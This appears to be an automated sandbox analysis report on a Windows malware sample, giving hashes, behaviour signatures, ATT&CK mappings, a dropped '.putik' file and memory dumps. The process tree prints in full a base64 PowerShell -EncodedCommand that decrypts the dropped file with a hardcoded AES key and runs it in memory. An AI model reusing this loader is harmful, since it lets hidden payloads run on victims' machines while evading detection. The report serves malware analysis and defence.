0a6f0b8ace6e7a43bc35e80cee2d7769c4ef3a994b4d38cd4bf7978dfc97c7e8

General

Target
0a6f0b8ace6e7a43bc35e80cee2d7769c4ef3a994b4d38cd4bf7978dfc97c7e8.exe
Size 1.1MB
Sample240516-bd3lnsdb2x
SHA256 0a6f0b8ace6e7a43bc35e80cee2d7769c4ef3a994b4d38cd4bf7978dfc97c7e8
MD5 56c2e79168a27d15ada4499a0c3feec9
SHA1 7797ea5dc3cd1191d5ebb051f62f79849b6835ce
SHA512 426625985be91c443716a9f68ffdc6667cc5129e2ee4ef554472ab43f8c9a3c037dbc8d9591d99827b0f7fc27c22fb9e793c4a3a947158ca2866df52b166e0f6
SSDEEP 12288:agdVYTTZEcmgH5KqlyGNb5AdER2wOBgNAXrO50Zx0k3eOGIRl6QJn0WpoJpx5oCH:agdVYhHQqcE2BbX/QCc2VUprodc
MD5 SHA1 SHA512 SSDEEP

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1304	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1304	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1304	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2524 wrote to memory of 1304	2524	0a6f0b8ace6e7a43bc35e80cee2d7769c4ef3a994b4d38cd4bf7978dfc97c7e8.exe	29
PID 2524 wrote to memory of 1304	2524	0a6f0b8ace6e7a43bc35e80cee2d7769c4ef3a994b4d38cd4bf7978dfc97c7e8.exe	29
PID 2524 wrote to memory of 1304	2524	0a6f0b8ace6e7a43bc35e80cee2d7769c4ef3a994b4d38cd4bf7978dfc97c7e8.exe	29

C:\Users\Admin\AppData\Local\Temp\0a6f0b8ace6e7a43bc35e80cee2d7769c4ef3a994b4d38cd4bf7978dfc97c7e8.exe
"C:\Users\Admin\AppData\Local\Temp\0a6f0b8ace6e7a43bc35e80cee2d7769c4ef3a994b4d38cd4bf7978dfc97c7e8.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2524
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgANQAwADAAMAApAAoACgAkABIEQAQ1BDwENQQ9BD0EMARPBB8EMAQ/BDoEMAQgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJAAoBDAEMQQ7BD4EPQQgAD0AIAAnAGYAaQBsAGUALQAqAC4AcAB1AHQAaQBrACcACgAkAB8EPgRBBDsENQQ0BD0EOAQ5BCQEMAQ5BDsEIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAEgRABDUEPAQ1BD0EPQQwBE8EHwQwBD8EOgQwBCAALQBGAGkAbAB0AGUAcgAgACQAKAQwBDEEOwQ+BD0EIAB8ACAAUwBvAHIAdAAtAE8AYgBqAGUAYwB0ACAATABhAHMAdABXAHIAaQB0AGUAVABpAG0AZQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxAAoACgBmAHUAbgBjAHQAaQBvAG4AIAAgBDAEQQRIBDgERARABD4EMgQwBEIETAQgAHsACgAgACAAIAAgAHAAYQByAGEAbQAgACgACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAGgQ7BE4ERwQsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkABgEPQQ4BEYEOAQwBDsEOAQ3BDgEQARDBE4ESQQ4BDkEEgQ1BDoEQgQ+BEAELAAKACAAIAAgACAAIAAgACAAIABbAGIAeQB0AGUAWwBdAF0AJAAUBDAEPQQ9BEsENQQKACAAIAAgACAAKQAKAAoAIAAgACAAIAAkACgEOAREBEAEMARCBD4EQAQgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkACgAgACAAIAAgACQAKAQ4BEQEQAQwBEIEPgRABC4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkACgEOAREBEAEMARCBD4EQAQuAFAAYQBkAGQAaQBuAGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFMAZQBjAHUAcgBpAHQAeQAuAEMAcgB5AHAAdABvAGcAcgBhAHAAaAB5AC4AUABhAGQAZABpAG4AZwBNAG8AZABlAF0AOgA6AFAASwBDAFMANwAKAAoAIAAgACAAIAAkACAEMARBBEgEOAREBEAEPgQyBEkEOAQ6BCAAPQAgACQAKAQ4BEQEQAQwBEIEPgRABC4AQwByAGUAYQB0AGUARABlAGMAcgB5AHAAdABvAHIAKAAkABoEOwROBEcELAAgACQAGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQpAAoAIAAgACAAIAAkACAEMARBBEgEOAREBEAEPgQyBDAEPQQ9BEsENQQUBDAEPQQ9BEsENQQgAD0AIAAkACAEMARBBEgEOAREBEAEPgQyBEkEOAQ6BC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAFAQwBD0EPQRLBDUELAAgADAALAAgACQAFAQwBD0EPQRLBDUELgBMAGUAbgBnAHQAaAApAAoACQAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAkACAEMARBBEgEOAREBEAEPgQyBDAEPQQ9BEsENQQUBDAEPQQ9BEsENQQKAH0ACgAKACQAGgQ7BE4ERwQgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAwADAALAAgADAAeAA4ADMALAAgADAAeABFADUALAAgADAAeABFADgALAAgADAAeAA0ADcALAAgADAAeAA5ADMALAAgADAAeAAyADgALAAgADAAeAAzAEMALAAgADAAeABFAEIALAAgADAAeABEAEIALAAgADAAeAA4AEEALAAgADAAeAA2ADAALAAgADAAeABGADAALAAgADAAeABCADgALAAgADAAeAA5AEUALAAgADAAeAA3ADEALAAgADAAeAA2ADMALAAgADAAeABCADUALAAgADAAeAA5ADUALAAgADAAeAA4AEYALAAgADAAeABFADAALAAgADAAeABFAEIALAAgADAAeABBADEALAAgADAAeAA5ADAALAAgADAAeAA3AEYALAAgADAAeABBADAALAAgADAAeABFAEEALAAgADAAeAA1AEIALAAgADAAeAAyAEYALAAgADAAeAA0AEEALAAgADAAeAA2ADYALAAgADAAeAA5ADIAKQAKACQAGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeABGADIALAAgADAAeAAzAEUALAAgADAAeABDADIALAAgADAAeAA4ADYALAAgADAAeABCAEUALAAgADAAeAAwADQALAAgADAAeABEADIALAAgADAAeAA2ADEALAAgADAAeAAxADQALAAgADAAeAA0ADIALAAgADAAeAA4ADIALAAgADAAeAAyAEYALAAgADAAeAAwADEALAAgADAAeAAwADkALAAgADAAeAAzADEALAAgADAAeAAyAEUAKQAKAAoAaQBmACAAKAAkAB8EPgRBBDsENQQ0BD0EOAQ5BCQEMAQ5BDsEIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAKACAAIAAgACAAJAAfBEMEQgRMBCQEMAQ5BDsEMAQgAD0AIAAkAB8EPgRBBDsENQQ0BD0EOAQ5BCQEMAQ5BDsELgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAFwQwBEgEOAREBEAEPgQyBDAEPQQ9BEsENQQRBDAEOQRCBEsEIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAB8EQwRCBEwEJAQwBDkEOwQwBCkAOwAKACAAIAAgACAAJAAgBDAEQQRIBDgERARABD4EMgQwBD0EPQQ+BDUEIQQ+BDQENQRABDYEOAQ8BD4ENQQgAD0AIAAgBDAEQQRIBDgERARABD4EMgQwBEIETAQgAC0AGgQ7BE4ERwQgACQAGgQ7BE4ERwQgAC0AGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQgACQAGAQ9BDgERgQ4BDAEOwQ4BDcEOARABEMETgRJBDgEOQQSBDUEOgRCBD4EQAQgAC0AFAQwBD0EPQRLBDUEIAAkABcEMARIBDgERARABD4EMgQwBD0EPQRLBDUEEQQwBDkEQgRLBAoACgAgACAAIAAgACQAIQQxBD4EQAQ6BDAEIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoAFsAYgB5AHQAZQBbAF0AXQBAACgAJAAgBDAEQQRIBDgERARABD4EMgQwBD0EPQQ+BDUEIQQ+BDQENQRABDYEOAQ8BD4ENQQpACkAOwAKACAAIAAgACAAJAAiBD4ERwQ6BDAEEgRFBD4ENAQwBCAAPQAgACQAIQQxBD4EQAQ6BDAELgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQAIgQ+BEcEOgQwBBIERQQ+BDQEMAQuAEkAbgB2AG8AawBlACgAJABuAHUAbABsACwAIAAkAG4AdQBsAGwAKQA7AAoAfQAKAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1304

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

file-19218.putik

Path C:\Users\Admin\AppData\Local\Temp\file-19218.putik
Size 20KB
SHA256 9652d095e72771a5096ac01efd43faf8383fca0417d3303e016f3af6b825b3ad
MD5 495a819114d8b3723e766476fb32bfb1
SHA1 81710d75ea0c1674d121b9cedaab119cebcbda21
SHA512 523254ae0dd6ba0ab79c1f7d523b4e7d16ae4c023959ee9a8004e2201ddf5b0a8dd2ff86dcc93beb37541b0f3f1265ad81099abac42ce5b79aaf788af9d64e1f
SSDEEP 384:ff0ewlBgwmQD3/3opqvcY1HmBbSn2pq8asD9f8/+NdNlnipgZyYQHmGHKg:nhwbgw9DP3opFTJSn2ogBftRnipguHmY
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1304-5-0x000007FEF5FEE000-0x000007FEF5FEF000-memory.dmp

Download

memory/1304-6-0x000000001B670000-0x000000001B952000-memory.dmp

Download

memory/1304-7-0x0000000001DE0000-0x0000000001DE8000-memory.dmp

Download

memory/1304-8-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

Download

memory/1304-10-0x0000000002430000-0x000000000243A000-memory.dmp

Download

memory/1304-11-0x000007FEF5D30000-0x000007FEF66CD000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads